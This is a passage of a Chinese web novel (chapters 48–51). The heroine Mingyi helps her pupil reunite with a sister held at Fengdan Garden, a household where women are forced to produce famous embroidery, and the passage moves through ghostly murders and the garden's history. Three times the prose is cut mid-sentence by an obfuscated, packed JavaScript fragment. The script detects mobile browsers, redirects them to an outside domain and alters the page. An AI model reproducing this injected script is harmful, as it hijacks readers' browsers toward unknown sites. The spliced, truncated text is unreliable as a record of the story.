还有宝源楼的招牌菜——绩溪一品锅。侍者直接端上来一口黑色的大铁锅,口径差不多二尺,先铺一层干笋打底,然后是五花肉,再是豆腐、肉圆,顶层还有粉丝与菠菜。这道菜需文火慢炖,其最能彰显徽菜“重火功”之精髓,汤汁浓郁诱人,味道咸鲜微辣。明夷边吃边想,等天冷了她也要在家里整这么一锅。 新安江盛产桂鱼,没错,就是“桃花流水鳜鱼肥”里头的鳜鱼,虽然桂鱼春季最肥,但秋季也不差。跟着时令吃菜,乃是食之一大趣事,秋果入馔,新栗与腌鲜鳜鱼同烧,栗子入口粉糯,鱼肉咸香透甜,比起单吃鳜鱼,又别有一番秋天的风味。 歙县有一渡口名曰深渡,是皖南山区通往江浙一带的重要口岸,每日来往商船旅客颇多,有道是需求促进生产,为迎合来往旅客急于赶路的心理,深渡食摊的摊主们仿照行商肩上所背的包袱,创造出类似馄饨的一种小食,称为“深渡包袱”,深受客商喜爱。 明夷看着碗里形似干蒸的“小包袱”,一边听着方韫之的介绍,一边感慨,四川的是抄手包面,广东是云吞,江浙一带是馄饨,这里又叫“包袱”,一方水土一方名,还真怪有意思的。 菜越上越多,桌子都快摆不下去了,莫说三个人,就是再来三个也绰绰有余,明夷有些替方韫之心疼钱包,随口说了句,“怎么点这么多?这盘子跟上不完似的。” 谁料方韫之一脸幽怨地看向明夷,有些委屈道:“刚刚点菜时你只顾着和中孚讲话,我叫你也没应,拿不准你爱吃啥,所以便多点了些。” 明夷一脸尴尬,嘿嘿两声,刚要开口,就听吴中孚道:“是我的不是了,不该拉着明姐姐讲话。只是昨日刚收到钱塘来的信,所以就多讲了几句。韫之兄下次可以直接问我,明姐姐爱吃的我大概都晓得。” 48. 丰丹园(一) 话音一落,全场沉默。 方韫之觉得这话听起来怪怪的,但又说不出怪在哪里,再看看明夷,只端着碗一个劲儿地闷头吃菜,眼都不抬一下。 青年想了想,噢,他好像明白了,吴中孚在怪他身为明夷未婚夫却连她的喜好都不甚了解。可是他有什么办法,如果可以,他也想一直待在明夷身边…… 明夷扒拉着碗里的栗蓉炸肉圆,她发誓,她刚刚好像嗅到淡淡的硝烟味,敏锐如她,这绝对是修罗场的味道! 记忆一下子回到阿孚知晓她定亲时的反应,还有王堇妤在大姐出嫁时骂天骂地,一副全天下和她有仇的样子,少女暗暗叹了口气,她真是服了你们这些姐控,一个个…… 算了,吃饭吃饭,吃饱再说。 结果,吃到后半段,两人像在进行一场莫名的比赛,吴中孚不停地给明夷夹菜,像是要展示自己对她的了解。方韫之目光紧盯明夷,仿佛只要她多动了一次筷子,脑中的“明夷喜爱”清单就会多上一笔,嘴里念念有词,洋洋洒洒的展开相关介绍与推荐。 被这怪怪的氛围影响,明夷头也没敢抬几下,只一个劲的扒拉碗里仿佛永远吃不完的饭菜,最后不负众望的——吃撑了。 回去的路上,明夷瘫坐在轿子里,摸着自己圆滚滚的肚子纳闷,不对啊,她在怕什么?有什么好尴尬的?她这算什么,婆媳矛盾中保持沉默的丈夫? 说实话,她现在有点想给王令妤写信了,请教她是如何处理丈夫和妹妹之间的关系,她记得王堇妤可是如愿嫁到了自家大姐的隔壁,这妮子出嫁时眼底可没有一点离家的伤心与对新生活的忐忑,眼里燃的全是可以常伴姐姐左右的兴奋,明夷心里默默点烛,这大姐夫别的不说,高低得先挨几百个白眼吧? 落轿后与二人告别,明夷格外意味深长的多看了吴中孚几眼,又给了方韫之几个怜惜的眼神,不待他们反应,便脚底抹油碎步溜进府中。 两人看着门缝中逐渐远去的鹅黄身影,互相对视一眼,各自不知想到了什么,蓦得笑了出来。 明夷没有先回屋,而是直接去了鹿韭院,果不其然,几个女孩们早坐那翘首以盼了,一见着明夷便像雀儿一样围了上来,欢喜地分走了她手上提着的食盒。 闻夫人见明夷神色怪异,黛眉轻挑,勾起红唇道:“怎么这样一副脸色,吃得不开心?” 明夷摇了摇头,摸了摸自己的肚子,满脸诚恳道:“吃撑了,肚子现下涨得慌。” 闻夫人显然是没料到这个回答,愣了一下,随之发出惊天爆笑,把旁边吃东西的几个女孩吓得一激灵,赵芸手上的白糕都滚了半块在桌子上。 明夷附和着笑了两声,心想,总不能和你说我在忧愁未来老公和小舅子之间的关系吧。 闻夫人抿了口茶水顺了顺气,贴心道:“我让人给你拿点山楂丸来。” 明夷连忙摆手,“不了不了,我现在连喝口水都嫌占肚子。” 闻夫人又笑了两声,明夷神色无辜道:“夫人您这不行啊,我知道我很有趣,只是我这还没发力呢,您咋就笑成这样?” “你…你这歪酸人的小妮子,嗳…嗳唷,笑得我…” 见闻夫人笑得上气不接下气,明夷很上道地走前去帮自己的老板拍背顺气。闻夫人抚着胸膛喘气,侧头剜了明夷一眼,哼哼道:“做人先生的就是不一样,嘴巴就是厉害。” 明夷自个儿在旁边坐下,顺手捏起一颗玉果子,刚要送入口中,突然反应过来,赶紧将其扔回盘子里,一脸迷茫道:“我在干什么?” 闻夫人见人一副恍若神游太虚的模样,觉着自己笑得腮帮子酸痛,唤人将那碟果子撤下,状似惊讶道:“你这顿饭吃的,怕不是把脑子也一块吃掉了吧?” 明夷揪着鬓边的碎发嘿嘿两声,“也不是没有这个可能。” 女孩们那边吃得差不多了,纷纷看向闻夫人,星星眼道:“娘亲快和王先生说那件事!” “?” 明夷疑惑,看见下头几个女孩一副兴高采烈的的模样,尤其是郁章章,眼圈还有些泛红,好奇道:“什么事情?” 闻夫人伸手把人脑袋偏回来对着自己,面上喜色难掩,“章儿的姐姐找着了!” “!” 明夷也瞬间激动了起来,早听说郁章章有个大她十岁的姐姐,离家好多年了,从前年开始闻夫人就一直在托人打听,现在这是有结果了? “在哪找着的?见过了吗?” 闻夫人道:“就在三条街过去的丰丹园,兜兜转转找了那么久,不想就在身边。我上午去丰丹园的铺子看绣品,瞧见里头有个女子与章儿有七分相似,连忙上前搭话,聊了半刻钟,确定就是章儿的姐姐!” “那姐姐人呢?来了没?章儿见着没?” 郁章章摇摇头:“姐姐和夫人说自己得赶着回去上工,这会儿没法子过来看我,不过她说等她告着假了,马上就过来,应该也就这两天的事。” 女孩表情憧憬,嘴角扬着幸福的笑容。 明夷听得有些奇怪:“什么工作这般忙?找着妹子这么大个事,竟然还不好告假?” 闻夫人幽幽地叹了口气,“此事你尚不知晓,丰丹园在我们当地人口中又称作‘罗敷冢’,园里的女子虽以天工绣品名动天下,只那一针一线背后不知沾了多少血汗。” 讲到这,郁章章原先翘起的嘴角也耷拉下来,明夷琢磨着闻夫人的话,听着像是工人被资本家剥削的故事,只是—— “我记着丰丹园不是一个姓江的官员的宅子吗?怎么听你说的像是个绣庄?” 闻夫人点点头:“那姓江的就是靠妻女的绣品买得官做。” 言罢又拉长声音鄙夷道:“他家老传统了,一群软脚虾。” 又接着道:“丰丹园里头的女子,无论妻妾婢女,基本都是要拿针线的。她们的绣品被称作‘丰丹绣’,那刺绣技艺精细得不得了!听说一个下午时间只能绣好一只鸟身上的一根尾羽。更难得的是,她们常以历代名画为模本,成品与真画无异,风雅至极,可谓是千金难求。然而这家的男人都是不做人的,逼着满园的女人日日做工,自己整日喝酒赌博到处挥霍。” “那她们就不反抗一下?”明夷心想,这不得组织个妇女运动啥的,虽然无法根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701595|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除问题,也总得争取些福利吧。 闻夫人一副讳莫若深的模样,含糊道:“听说五六年前闹过一次,之后就没有消息了。” 明夷听得有些迷惑,又追问了两句,但闻夫人只是无奈道:“我是真不清楚,不然像我这种藏不住事的,早和你们说了。” 又过了几日,明夷自个儿在屋里吃着早膳,刚蒸出来的牛乳桂花糕口感绵密,枸杞白粥里头掺了山药泥,吃起来醇厚甘香。 无课的一日,明夷睡到自然醒,慢悠悠的享用自己这顿早午餐。前些天在宝源楼有些吃伤到了,忽然觉得这样简简单单也别有一番滋味。 闻夫人身边的婆子急匆匆进来禀报,说郁章章的亲姊过来了,现下就在鹿韭院坐着呢,喊明夷赶紧过去。 走进院里的正厅,就瞧见左侧的玫瑰椅上坐着一位穿着竹青色交领襦衫的年轻女子,正与郁章章抱在一块哭,看来应该就是郁章章那位失散多年的大姊——郁清。 郁清低头紧紧拥着自己小妹,明夷只看见其黑亮亮的低鬓与淡粉耳垂上的银叶坠子。 闻夫人坐在罗汉榻上,眼里也闪着泪意,三个姑娘围坐在海棠绣墩上,眸子里擒着祝福的光。 郁清家里有四个孩子,她是大姐,下头有两个弟弟与一个妹妹。由于家中贫困,母亲早逝,父亲也无钱再娶,其身为大姐,既是姐姐也是娘,将几个弟妹拉扯大,其中又与最小的郁章章感情最为亲厚。 十六岁时,父亲把她推上一顶小轿,做主将她嫁给一位行商,不料那商人竟是个人贩子,专借嫁娶之名四处拐卖妇女。郁清辗转几地,被卖了好些人家,但都不长久,折腾了大半年,被丰丹园的人买了进来,从此就落了根。 当年父亲让她嫁人,她虽无甚意见,但也提了条件,让父亲好好看顾几个弟妹,尤其是最小的郁章章。 郁清的父亲年轻时是个读书人,只是科举屡次不中,也不会地里的活计,靠着郁清母亲的一手绣活才勉强过活。后来母亲死了,郁清接替了母亲的职责,整日就是围着针线与孩子,父亲也似有醒悟,放下书本下地干活了。只是读书人身体单薄,也不懂种地的门道,年年下来收成很是惨淡。虽然穷得很,但饥一顿饱一顿,日子也勉强过得下去。 郁清的日子如她的名字般,只有满眼郁色和两袖清风。唯有拾起绣棚时,色彩鲜艳,栩栩如生的花鸟在破旧的茅屋里绽放鸣叫,与夜晚的月色一起,是这昏暗的屋里头唯一的亮色。 她坐在灶台前,借着火光仔细劈着手里的细线,父亲的书本堆在脚边,随着一年年的冬天,愈来愈少。 郁清知道自己的父亲算不上好,但也不坏,所以为了弟弟娶媳妇的彩礼钱,她也愿意拿自己去换,反正对她来说,去哪都一样,虽然才来这世上十几载,却觉得好像过了一辈子。但不想真被当成物件买卖时,才惊觉原来还有这般生不如死的日子。 那日丰丹园的人来挑丫鬟,她和另外几个姑娘垂着头站成一排,人牙子谄媚的把她推出去,奋力夸赞她针线活好,那人微微颔首,摸出几串钱过去,于是她又被推进一座深深的宅院,从此又是另一番光景。 49. 丰丹园(二) 丰丹园最近出了一件大事。 七天内,连着死了三个人,分别是江老太爷与其最大的两个儿子,三人尸体被发现的地方各有不同,但死状却是惊人的相似,尸体俱被抽筋,血淋淋一地。 临近春节,本应人潮拥挤,热闹喧哗的街道如今冷清极了,不知是从哪里传出去的,都言是梭罗娘前来索命。 “梭罗娘?” 明夷两手捂着汤婆子满脸疑惑 闻夫人解释道:“相传这梭罗娘是由被累死在纺车上的女织工所化,由于怨气深重,所以死后借纺车木架凝为实体。据说她们专挑那些穿绫罗绸缎者,会在子时叩响宅门,将人残忍杀害后,再把他们的筋整条抽出来当做丝线,继续完成生前未织完的布匹。并且更恐怖的是——” “是什么?”明夷和几个女孩屏息凝神,一齐倾身问道 冰裂梅花样式的明瓦窗蒙着层薄冰,细密的雪粒子似雨水般斜斜的飞着,风掠过嶙峋石窍时发出低沉的嗡鸣,闻夫人压低嗓音,附着窗外风吼缓缓道 “更恐怖的是那些被抽筋者无法往生,他们的魂魄被永远囚禁在梭罗娘织就的‘往生绸’里。听说明祯年间,某侍郎夫人曾收到匹霞影纱,银红的颜色,鲜艳得不得了,那夫人本打算留作女儿的嫁妆,结果某天夜里将其从箱笼里拿出来时,发现那布料经纬间,竟组合成丈夫扭曲的脸!” “啊!” 不知是哪个女孩叫了一声,几个人瑟瑟发抖抱作一团。明夷本是不害怕的,也被这尖叫吓得一激灵,感觉自己浑身的汗毛都竖了起来。 “所…所以丰丹园现在怎么样?我这段时间都没有姐…姐的消息。” 郁章章缩着肩膀,双臂环着自己,黑亮的眸子满是害怕与担心。 闻夫人沉吟片刻,不确定道:“我打听到的消息是,已经有人报官了,丰丹园里的人无论男女老少,皆不敢也不能出门,每日饭食日用官府那边派了人送,现在城内已经传遍了,到处人心惶惶,上头已经发话了,势必要在春节前把这桩案子结了。” 见郁章章神色愈发焦急,明夷轻轻抓住她快要抠出血痕的手,安慰道:“官府已经在彻查了,那几个人都是死在外边的,现在丰丹园外也派了人守着,你姐姐现在和大家伙一起待在园子里大抵是安全的。” 郁章章没有说话,只是抓紧了明夷的手,吧嗒吧嗒的流下泪来。 接下来几天,明夷陆续听到好些关于丰丹园案件的消息,凶手迟迟未抓到,大家似乎笃定了凶手就是那所谓的梭罗娘,各个布庄的棉布迅速被抢购一空,因着传闻大家也不敢请绣娘裁衣,只一个个在家中自己粗粗做了衣服披在外头。 吴中孚与方韫之也前后送了些棉布过来,说他们的书院也提早停课了,叮嘱明夷最近不要出门。 暮色四起,游廊下的茜纱灯亮起昏黄光晕,明夷坐在窗前看书,忽然看到一个纤弱的人影鬼鬼祟祟的闪过,心里忽然浮出一个猜测,立马快步跟了上去。 只见那道人影左拐右拐,最后停在了西北角门,明夷悄悄上前,一把拉住那人胳膊,悄声道:“你要去干嘛?” 那人肩膀一抖,迅速回头,今晚云翳深厚,月光暗淡,角门边上轻轻摇晃的宫灯映出了那人苍白的面容——是郁章章。 郁章章一边挣脱着明夷的钳制,一边低声哀求道:“先生快回去吧,我…我实在放心不下姐姐,我已经安排好了……” “你的安排就指那个?”明夷仰头指了指门外那顶青绸小轿。 “…还…还有如…如何进去那园子。”郁章章小声辩解道 她就说为什么这几天课上这孩子总一副睡眠不足的样子,原来是在偷摸着计划大事呢。 明夷一脸严肃,厉声道:“这太危险了,先回去,回去我们一起商量办法。” 郁章章急得眼泪都掉了下来,一边想要奋力挣脱,一边又怕动作太大被人发现。明夷忽觉胳膊一沉,这孩子竟是直接跪了下来。 “你这是干什么啊?”明夷低声惊呼,赶忙躬身想要将人拉起。 郁章章似长在地上了般,死命不起,只仰着头满脸泪水的哀求道:“先生就放我去吧,这…这是我唯一的姐姐啊,好不容易找回的姐姐啊!你也说了丰丹园现在应该是安全的,我就去看看,和姐姐说两句话就回来…” 看着女孩哀戚的面容,明夷也有些不忍,脑袋里忽然就浮现出那日两姐妹抱头相认的场景,还有后面郁清时不时托人送来的绣品……因着她是郁章章的先生,所以也得了好几样,那束口锦袋上的芙蓉花娇艳得仿佛能嗅到香味般,可谓是用心至极,想到这,明夷内心挣扎了一番,轻轻道:“你可以去——” “谢谢先生!”女孩立马从地上爬起来,转头就想往外走 “…先生你怎么还抓着我?”郁章章摇了摇自己的胳膊,神色焦急。 明夷向前一步与人并肩,严肃道:“我和你一起去。” 郁章章顿时瞪大了双眼,推拒道:“使不得先生,这是我自己的事,怎么能把您拉进去!” 明夷不理,只把人拉着走到轿子前,待两人坐好之后,才淡淡道:“我是你先生,怎能见着不管,左右不过陪你一回罢了,不是什么大事。” 丰丹园离赵府并不远,轿子行了大约两刻钟,小心绕过大门外守夜的人,静悄悄地在一个隐秘的拐角处停下。 两人也不敢提灯,借着微弱的天光,郁章章拉着明夷沿着墙根走了一段,接着又是一条小径,再后面连路都没有了,只得踩着草泥走,终于,瞧见一棵老榕树时,郁章章小小的“啊”了一声,转身和明夷道:“就是这里。” 接着又看见她拨开榕树垂下的气生根,用脚踩倒地上的杂草,赫然露出一个直径不大的窟窿 郁章章低头把裙摆拢在手中,趴在地上朝里望了望,听了听,确定周边无人后,小声招呼明夷道:“咱们从这爬进去。” 明夷额角抽搐,这鸟不拉屎的地方,也难为郁章章这大门不出二门不迈的姨娘能够找到了,看来几个大夜是没白熬,功课做的确实充分。 不过,钻狗洞,还是别人家的狗洞,她两辈子加起来也没干过这事,会不会有些太刺激了。忽然又想起自己做了老师的本科同学,朝她诉苦时死命叮嘱道:教师只是一份职业,千万收起自己泛滥的同情心! 明夷看了看黑洞洞的天空,又看了看女孩趴着往前拱的背影,内心长叹一声,她也不想的啊,可一见那孩子泪水涟涟的模样,她是真放心不下啊! 菩萨保佑,千万保佑她俩平平安安,独这一次,再有她一定当聋哑人,不听不看不知道! 跟在女孩后头爬过狗洞,两人贴着墙根小心往前,走了好一会也没见着人,郁章章渐渐大胆起来,小声与明夷道 “这个洞还是上去姐姐来看我时和我说的,我这几天根据她的描述画了好几张图,没想到一下就给我找着了。” 明夷皱着眉头点点头,竖起食指抵在唇边示意女孩安静找路。忽然瞧见前面有人提灯过来,连忙拉着郁章章往另一边拐,结果还没等那边的人走掉,藏身的地方又传来脚步声。两人狼狈地左躲右躲,不知觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人家明摆着心里已经有了主意,这种时候再装傻也无济于事,明夷老实道:“就听到梭罗娘那里。” 妇人神色未变,锐利的双眼在明夷和郁章章之间扫视,又道:“清儿,你说说应该怎么办?” 郁清神色一凛,扑通一下跪在妇人面前,紧张道:“大夫人,这是我妹子和她的先生,我发誓她俩肯定不会出去乱说的!” 大夫人边上同样一身白衣,挽着低鬓的女子长叹一声,将人扶起来道:“母亲不会拿她们怎么样的,只是事关咱们所有人的性命,有些话必须说清楚。” 郁清松了口气,她其实也知道郁章章两人大概率不会有什么事,只是关心则乱,想到这,郁清抬头狠狠瞪了一眼自家妹妹,这不省心的丫头! 郁章章本来就陷在闯祸了的惶恐里,这下被姐姐一瞪,好不容易憋住的眼泪又倏地掉了下来。郁清神色尴尬,想给妹子递帕子但又碍着身边几个人不太敢,最后是明夷巴巴的抓着袖子替人抹的眼泪。 好不容易将女孩哭声止住,屋里又重新陷入安静,明夷被这不上不下的氛围吊的如坐针毡,面上又不敢显露半点,虽然性命应是无虞,只是半夜三更闯进人家园子,还听到些不该听得,这又该如何是好? 许是觉着把人晾够了,大夫人又发话道:“你们可知我丰丹园何物最出名?” 郁章章小心道:“…丰丹绣?” 大夫人没有回答,只继续道,“可知为何?” 50. 丰丹园(三) 丰丹园的名字倒颇有些来头。 年轻的江老爷进士及第又突发横财,当机立断买下这座宅院后,兴致冲冲想给起个荣华名号,以示他锦绣人生的开始,然拟了数十个出来,总得不到满意的。 某日江老爷去巡视园子的修缮情况,忽然睡倒在池塘边的一块太湖石旁,梦里来了个白胡子老道,留了“丰丹”二字予他。待醒来一看,方才倚着的太湖石隐隐透着暗红,再仔细一瞧,石头的纹理似是排成了几个字,江老爷用手指描摹几道,惊觉正是“丰丹”二字! 江老爷年轻时与其结发妻子感情甚笃,夏日泛舟赏荷,冬日煮雪折梅,日子虽过得简朴,却也颇多乐趣。然好景不长,其妻先后生下两个儿子后就撒手人寡,下葬之时,江老爷扶着棺柩痛哭流涕,发誓此生不会再娶。 然妻子死后不出两年,江老太爷又娶了同城一富裕商户的女儿为妻,毕竟家里需要人操持,儿子也需要人照顾,他一顶天立地大丈夫,得专心科考,怎能被这些俗世所绊。 成婚次年,江老爷高中进士,不久又得知某个许久没联系的亲戚突然给他留了份遗产,再加上续弦带来的丰厚嫁妆,江老爷名利双收,春风得意,得了这座美轮美奂的丰丹园。 结发妻子早逝没得享受这富贵荣华,江老爷自认情深,心中有愧,对其留下的二子多有放纵。丰丹园盖好的第二年,女儿出生,取名泠音,次年又纳一妾,娘家姓莆,来自山高路险的蜀地。 而被人们熟知的丰丹绣就是从这时候开始的。 莆姨娘家族世代从事织造行业,自幼于闺中随家中女眷习得一手精致绣活。性子沉默寡言,嫁到丰丹园后只日日待在自己房内,翻着从家中带来的几本花样,埋首绣自己的玩意儿,少与外人交流,江老爷嫌她木讷,也甚少来她房中。 莆姨娘嫁来后的第三年,园内荷花荷叶挤满池塘之时,她生了个女儿,取名澄心。 有了女儿后,来她屋里的人多了起来,大家逗弄着小婴儿,忽别眼看见屋里头摆着的件件绣品,又不由得发出惊叹。 后宅寂寞,莆姨娘的手艺一瞬就成为大家竞相讨论的对象。一时间,园里的人几乎要踏破她的门槛,大家一边逗着婴儿一边看她的双手在绣棚上上下翻飞,原先冷清的屋子一下如盛开的夏荷般,遮蔽得看不清水面清漪。 消息传到大夫人耳朵里,惹得她整日好奇得不行,自个儿纠结了好一阵子,终有一天按捺不住,牵着三岁的女儿,于一个无人的午后,突然来到了莆姨娘的小院。 说来也奇怪,园内虽就只有她们妻妾二人,但这几年来,见面次数屈指可数,话也没说过几句。每每请安之时,莆姨娘总是低着脑袋,仔细想来,二人做了三年姊妹,竟连对方的模样都不曾看全过。 大夫人出嫁前,其母亲就告诉过她,男人多会纳妾,更别说她嫁的还是个日后要做官的读书人。然而她父亲常年在外行商,家中并无妾室,母女二人搜刮了一堆话本子,连着看了好几夜,各自睁着青黑的眼圈,望向对方的眼神都在说着:小妾好可怕。 大夫人索性做摆烂状,但其母亲生怕出嫁后宠妾灭妻的事情降临在女儿头上,遂又对着话本认真修炼几日,总结了厚厚一沓笔记,细细教给女儿,末了还让店里的人将这沓笔记装帧成册,压在嫁妆箱笼,以备不时之需。 大夫人也是个安静少话之人,唯对着亲近之人才会变得活泼有趣,其内里也是盼着热闹的。与江老爷新婚后也温存过一段时间,然半年后江老爷赴外地做官,将其留下来照顾老人小孩,两人又逐渐生疏。 听到江老爷带了个妾室回家,大夫人连夜取了钥匙跑到放嫁妆的屋子里翻出了娘亲留给她的这册笔记,战战兢兢的学了一夜,待第二天莆姨娘给她敬茶时,却紧张得什么都忘了。 但她看见莆姨娘低头时那一段细白的后颈,鬓边淡粉的菡萏时忽然愣了一下,觉得自己娘亲是不是说错了,这姨娘看着好像是个好人。 大夫人回去后拥着自己的女儿,出神地想,要是她主动来找我说话,我就让泠儿给她吐泡泡看。 莆姨娘出嫁时就知道自己是去为人妾室的,母亲告诉她要谨言慎行,江家是大户,万不可做出什么出格的事情惹人看轻。 进门奉茶时,她不敢抬头,只感觉坐上的大夫人晾了她一会儿,内心突然慌乱了起来。 她记得,之前与堂姊一起擦拭织机时,堂姊说有些夫人就喜欢在敬茶时为难妾室,先是不接杯子,下一步就是烫人手心子!想到这,莆姨娘举着杯子的手也有些微微颤抖,她不想被烫,烫伤了她就好长一段时间不能拿针了。 索幸大夫人很快就将杯子接过,又给了她一对镯子后,之后就再没说什么。莆姨娘松了口气,心觉大夫人应是不太喜欢她,自己以后还是少出现在她面前。 江老爷没做几年官就辞了,过了几年富贵日子,心性也有了变化,整日与自己的朋友们混在一处玩乐,对家里的事情并不过多理会,唯独在给两个儿子收拾烂摊子时,才稍微有点父亲样子。 莆姨娘松了口气,她不喜欢自己的丈夫,年纪长自己那么多岁,长得也不是她喜欢的模样。幸亏他对自己也不甚喜爱,时间久了仿佛就要忘了府里还有这样一位姨娘。她安安静静的待在小院里,一点点积攒着自己平淡的生活,直到——她有了澄心。 女儿真的好小一个,莆姨娘看着女儿蜷曲的手指,觉得这般小的手,怕是连针都握不住,池子里盛开的荷花怕是都能将她整个拢住。 莆姨娘兴冲冲地翻出花样子,仔细描了几朵荷花,又添了几片荷叶,转头看见女儿莲藕节巴似的手臂,又画了几节小藕,随后又扎了个大一些的绣棚,摆在窗子旁边,低头穿线。 最近总是有人夸她,莆姨娘抿着嘴角有些害羞,脑袋都快挨到绣棚上了,露出的小半张侧脸却是通红的。园里的丫鬟婆子常来向她请教一些针法,她也都认真示范,细细回答了,若是有人没明白,她就多做几次多讲几次,只要来人能学会就行。 但她没想到的是,大夫人竟然也来了。 大夫人穿着浅青色的纱地云纹短衫,手上牵着的大姑娘小小一只,穿着件绣着肥兔子的绛红纱地袄。 莆姨娘有些惶恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大夫人点点头,将女儿交给婆子照看,自己跟着莆姨娘进到房间最里头,看着后者翻出一个竹编的箱笼捧在手上。 莆姨娘拿着小箱子一转身就看见大夫人贴在她后面站着,吓得后退一步。大夫人显然也意识到了,人家的意思是让她坐在外头等,她怎么就稀里糊涂跟进来了呢? 两人又是一阵静默,莆姨娘倒不觉得大夫人跟着进来有什么不妥,她只是被突然冒出的人吓到了而已。回过神后,瞧见大夫人脸颊的汗珠,连忙摸出条帕子递了过去,道:“姐姐擦擦汗吧,我这屋子里头没开窗实在有些闷,咱们去外头看吧。” 大夫人接过帕子,胡乱擦了两下,又忍不住将其展开来看,菡萏颜色的鲛帕,上头绣了一圈追着咬尾巴的鼓眼睛金鱼,呆头呆脑的,但又真的好像下一秒就会游出来。 两人坐在桌边,莆姨娘把箱笼里的物什一件件拿出来给大夫人看了,见其兴致盎然的样子,又把自己几本花样子拿出来和人一起翻。 大夫人羡艳得看着屋内那张大大的绣棚,问道:“这绣的是石榴吗?” 莆姨娘点点头,瞧见大夫人对着绣棚流连忘返的眼神,忽然福至心灵,小心道:“夫人想试试吗?” 大夫人早就在等这句话了,自个儿憋了半天不好意思开口,现下人家都将绣花针递过来了,立马点头如啄米。 莆姨娘见人一副小孩样,忍不住笑出声来,又立马捂住自己嘴巴,眨巴着眼睛神情无辜。大夫人挑了挑眉,直接在绣棚前的绣墩坐下,招呼道:“还站那做什么,快过来教我!” 51. 丰丹园(四) 从那以后,大夫人便日日跟着莆姨娘学刺绣,两位夫人亲亲热热在一处,本来寡言的两人,如今却是无话不谈,就连澄心吐了个口水泡都能笑上半天,因着二人的和睦,素日安静的丰丹园也热闹起来。 日子一长,府里的婆子丫鬟也加入了学绣大军,见人愈来愈多,为了方便大家,大夫人先是备了几间屋子,而后又命人收拾了一间宽敞的三层小楼,就立在荷花池旁。 小楼南北通透,冬暖夏凉,采光也好。虽立在池边,但由于楼层高,空气流通,也不容易潮湿。里头烛火明亮,摆着大大小小的绣棚,此外还有些藤椅小几供人歇息。 最高层是大夫人与莆姨娘的专属地,两人的绣棚并排摆着,天天挨在一块儿绣花聊天。待孩子们大了,又多了两个小板凳,与两个小针线匣子。 泠音与澄心自会拿筷子之时就会拿针,明明正是闹腾坐不住的年纪,却能跟着娘亲们在小楼里待上半天。偶尔坐不住了,就掀起缀着小银铃的百花门帘,倚着栏杆或俯视池塘绿波,或眺望园内楼阁。 园内四季景色各有韵致,泠音有时会拖着藤椅坐到外头,让人用木板木条给她搭个小架子,铺上宣纸,用描花样的炭笔将夏日芙蓉浦、秋日遍地金、冬日滴雪檐与春日杨柳雾细细画下,待长大些,又融画入绣,让四时景色绽放在绣棚之上。 在偶尔的宴会交往之中,丰丹园的绣品渐渐在徽州女眷之中出了名,之后又自南北沿着河网传播,渐渐达到享誉大周的程度,被人称为“丰丹绣”。 莆姨娘是丰丹绣的开创者,其擅绣花鸟、人物,针法复杂多变,色彩晕染过渡自然,大夫人等园内女眷习得之后又更为精进,丰丹绣得以进一步扬名。 而到了下一代,丰丹园的大小姐江泠音,精通诗文、工书善画,且十分擅长融画入绣,开创当时一先例,将丰丹绣的技艺推至极致。 然丰丹绣是不卖的,只有与其交好之家、或诚心来求之人能够得到几样,由于产出少、流通更少,如此下来,丰丹绣品更显珍贵。 可好景不长,虽园中女眷各个勤勉良善,男人们却各有各的腌臜,凭一己之力将家业败得干净,使得园内生活不得不靠女眷贩卖针线维系。 江老爷辞官之后成天与朋友四处玩乐,出手大方,两个儿子自小宠溺,跟着城内别的富家子弟,成日不是青楼寻花,就是赌场肆意,到处惹是生非,又得江老爷跟在屁股后面花钱填平。 家中钱财见底后,三人也曾安生过一阵子,但自发现丰丹绣品价值几何后,便逼着园内女眷加紧劳作,自己又拿着钱财继续寻欢作乐。 郁清就是在这时进的丰丹园。她先是在园中做了一段时间的扫洒,后又被分给时年十五岁的大小姐泠音做丫鬟,除照顾其起居饮食,最重要的就是跟着学那丰丹绣。 泠音的容色与其技艺一样出众,郁清自见到泠音始就认定大小姐是这座丰丹园当之无愧的明珠,待相处之后,更是被其人品与才华技艺折服。 郁清在家只一昧劳作,离家后又颠沛飘泊,直到来到这丰丹园,来到泠音身边,才真正感受到生活的乐趣。虽然也是成天做活,但却能吃饱穿暖,不必再坐在灶台边拿针,被烟气熏得眼红不说,还要担心突然跳出的火舌。 原来做这些家务活计也是有酬劳的,郁清捧着泠音的衣裳呆呆的想。收拾整理,叠被扫洒,从前在家中干惯的事情,没想到离了家再做,竟然能有银钱领,这是她万万没有想到的。 荷花池边的小楼是舒适的,就连炎夏的风都带着冰湃杨梅的凉气与沁人的花香。郁清后来拥有了自己的位置,那张竹椅子夏日凉快,冬日还会垫上厚厚的褥子,小巧的烛台被架在一边,能够照清细细的丝线,不必忧心被夜晚蒙住视线…… 两位夫人为人和蔼,虽与大家交流不多,却甚少打骂,还常常给她们添置物什。大夫人在泠音后又生了一儿一女,与莆姨娘的澄心一起,几位小姐少爷在小楼长大,都是一样的乖巧懂事。 待泠音十八岁时,江老爷迟迟不为女儿选婿,大夫人整日忧心忡忡,前去询问,却被找了一堆理由推脱,几次之后,大夫人意识到,丈夫或许根本没打算让女儿嫁人。 泠音是丰丹绣的灵魂,她的绣品一旦透出风声就会引得万人争抢,于大夫人来说,女儿的出色是她的骄傲,但于江老爷来说,却是一颗上好的摇钱树,自是舍不得女儿嫁到别人家去。 